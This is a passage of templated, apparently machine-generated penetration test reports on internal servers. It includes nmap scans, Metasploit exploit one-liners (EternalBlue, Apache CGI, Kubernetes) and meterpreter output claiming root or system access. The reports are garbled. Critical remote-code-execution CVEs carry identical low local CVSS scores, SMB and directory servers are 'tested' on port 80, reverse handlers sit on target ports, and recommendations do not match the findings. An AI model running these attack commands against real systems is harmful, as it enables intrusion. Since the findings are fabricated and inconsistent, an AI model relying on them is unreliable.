implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0073 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the Nginx web server (192.168.155.68) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 192.168.155.68 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.155.68 Host is up (0.10s latency). MAC Address: 82:C3:90:83:5D:34 (Amazon) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 20 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.155.68 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.155.68 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.155.68; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/nginx_backdoor... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2023-44487 (CVE-2023-44487) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0074 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the REST API gateway (10.31.21.28) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.31.21.28 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.31.21.28 Host is up (0.54s latency). MAC Address: 1E:53:04:9A:C4:91 (Juniper) 443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 15 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.31.21.28 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.31.21.28 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.31.21.28 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.31.21.28; set RPORT 4444; exploit" Output: [*] Started reverse TCP handler on port 4444 [*] Attempting to exploit using multi/handler... [-] Exploit failed: Connection reset by peer [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) - Network-level blocking or intrusion prevention system detected the attack [*] Recommended next steps: - Check network connectivity and firewall rules - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0075 Date: 2025-05-11 19:07:19 Tester: mchen Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Active Directory server (10.78.40.105) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.78.40.105 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.78.40.105 Host is up (0.28s latency). MAC Address: 38:A2:3A:E2:BB:DF (Apple) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.50 88/tcp open ldap OpenLDAP 2.4.49 464/tcp open ldap OpenLDAP 2.4.49 OS details: Windows Server 2019 Domain Controller OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: active-directory-server-01 Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-42287 (Kerberos PAC Validation Bypass) CVE: CVE-2021-42287 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.78.40.105 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-26923 (Certificate Services Privilege Escalation) CVE: CVE-2022-26923 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.78.40.105 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-1472 (Zerologon - Netlogon Elevation of Privilege) CVE: CVE-2020-1472 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (4.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.78.40.105 Result: Security vulnerability identified that could potentially compromise the Active Directory server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.78.40.105; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42287 (CVE-2021-42287) - CVE-2020-1472 (CVE-2020-1472) - CVE-2022-26923 (CVE-2022-26923) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (278 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained user access [*] Connected to 10.78.40.105 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0076 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Apache web server (192.168.13.180) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 192.168.13.180 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.13.180 Host is up (0.27s latency). MAC Address: 8C:79:3F:36:2D:10 (Apple) 80/tcp open http nginx/1.18.0 443/tcp open http Apache/2.4.41 8080/tcp open http Apache/2.4.41 8443/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Host: www.example.com Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.13.180 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.13.180 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-42013 (RCE - Apache 2.4.50) CVE: CVE-2021-42013 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.13.180 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.13.180; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-42013 (CVE-2021-42013) - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (315 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained root access [*] Connected to 192.168.13.180 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0077 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Apache web server (192.168.234.137) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443,8080,8443 192.168.234.137 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.234.137 Host is up (0.58s latency). MAC Address: EC:D4:D5:B4:69:C6 (Amazon) 80/tcp open http Apache/2.4.41 443/tcp open http Apache/2.4.41 8080/tcp open http nginx/1.18.0 8443/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-41773 (Path Traversal - Apache 2.4.49) CVE: CVE-2021-41773 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.234.137 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-31813 (HTTP Response Smuggling - Apache HTTP Server) CVE: CVE-2022-31813 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.234.137 Result: Security vulnerability identified that could potentially compromise the Apache web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.234.137; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/apache_mod_cgi_bash_env_exec... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-41773 (CVE-2021-41773) - CVE-2022-31813 (CVE-2022-31813) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Check for other CGI scripts vulnerable to command injection - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0078 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the SMB file server (192.168.227.143) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.227.143 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.227.143 Host is up (0.54s latency). MAC Address: 7C:54:0D:43:47:5F (Intel) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 3 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 18 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.227.143 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.227.143 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.227.143 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.227.143; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (523 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained system access [*] Connected to 192.168.227.143 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0079 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Kubernetes API server (192.168.64.106) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 192.168.64.106 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.64.106 Host is up (0.55s latency). MAC Address: 8C:D5:2F:D1:95:39 (Cisco) 6443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10250/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10255/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 1 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 5 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.64.106 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.64.106 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 192.168.64.106; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2020-8554 (CVE-2020-8554) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (481 bytes) [*] Meterpreter session 3 opened [*] Session established [*] Gained root access [*] Connected to 192.168.64.106 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0080 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the BIND DNS server (10.94.161.159) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 10.94.161.159 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.94.161.159 Host is up (0.27s latency). MAC Address: 86:BB:1B:A9:96:2F (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 10.94.161.159 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @10.94.161.159 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.94.161.159; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 10.94.161.159:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @10.94.161.159 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 